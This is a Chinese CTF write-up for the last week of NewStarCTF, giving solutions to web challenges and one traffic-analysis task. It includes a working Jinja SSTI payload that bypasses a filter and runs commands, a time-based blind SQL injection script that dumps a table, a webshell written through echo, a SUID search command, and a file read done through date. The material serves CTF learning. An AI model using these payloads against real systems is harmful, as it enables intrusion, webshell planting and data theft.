NewStarCTF 公开赛赛道 WEEK5 WP

这是最后一周了,来年再战……

WEB

Unsafe Apache

Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞(CVE-2021-42013)

https://blog.csdn.net/weixin_46187013/article/details/122454511

直接搞,然后就可以得到flag了

BabySSTI_Three

测试发现_被过滤了,我这里使用的是ASCII转换进行绕过的

?name={{''['%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95)]['%c%c%c%c%c%c%c'|format(95,95,109,114,111,95,95)][1]['%c%c%c%c%c%c%c%c%c%c%c%c%c%c'95,95,115,117,98,99,108,97,115,115,101,115,95,95)|format()]['%c%c%c%c%c'|format(112,111,112,101,110)]('ca$1t${IFS}/fl*').read()}}

最后可以得到flag

Give me your photo PLZ

上传文件的漏洞,渲染?

测试发现上传两个后缀会解析第一个后缀,所以我们可以使用双后缀绕过检测

在根目录发现flag

会留下来的吧……

Final round

这道题已经裂开了……

前面还好好的,到了爆数据的时候,发现时间盲注会一直在转圈圈,所以后来使用脚本的时候,才会一直跑不出来,然后是一个个数据爆破出来了……

import requests
import time

host = "http://756418bd-8e3e-46b2-b542-da4c7c2f878b.node4.buuoj.cn:81/comments.php"

def dumpTable():
    # 脱裤    
    ans = ''
    for i in range(238, 1000):
        for mid in range(32, 128):
            payload = "100^if(ascii(substr((select(group_concat(text,user,name,display))from(wfy_comments)),%d,1))=%d,sleep(5),1)^1" % (
                i, mid)
            data = {'name': payload}
            start_time = time.time()
            requests.post(host, data)
            end_time = time.time()
            use_time = end_time - start_time
            # 如果时间大于3,那么说明为真            
            if use_time >= 5:
                ans += chr(mid)
                break
            print("dumpTable is -> " + ans)
            
dumpTable()

一直修改range的值就可以了(前面的238是前面的题得出了的),然后得到flag所有的ASCII码

123741175011695108101116951091019511549101101112951024811495979511910410549101125

python脚本转换一下得到flag

f = open("test.txt", "r")
lines = f.readlines()
# 读取全部内容
for line in lines:
    a = line
    b = chr(int(a))
    print(b, end='')

肯定有其他更方便的方法……无语了

So Baby RCE Again

shell_exec函数,echo是可以执行的,然后我们使用echo写入一句话木马,使用?cmd=echo '' >monkey.php

可以成功的执行

但是发现flag里面没有东西,发现start.sh里面有内容

要提升权限,使用find / -perm -u=s -type f 2>/dev/null查看SUID权限

然后使用蚁剑连接,使用date来读取flag,使用/bin/date -f /ff*得到flag

这里其实有更方便的解法,查到SUID之后直接使用date读取flag,使用/bin/date -f /ff* 2> flag.txt

MISC

最后的流量分析

之前做过这类的题目,SQL注入的流量分析,这道题还比之前那道题目更简单,筛选出http请求,然后使用匹配substr

然后通过时间筛选出flag,最后flag为flag{c84bb04a-8663-4ee2-9449-349f1ee83e11}

这一周的解题都在这里了,这也是最后一周了,希望以后像他说的一样,可以留下来。好好加油吧……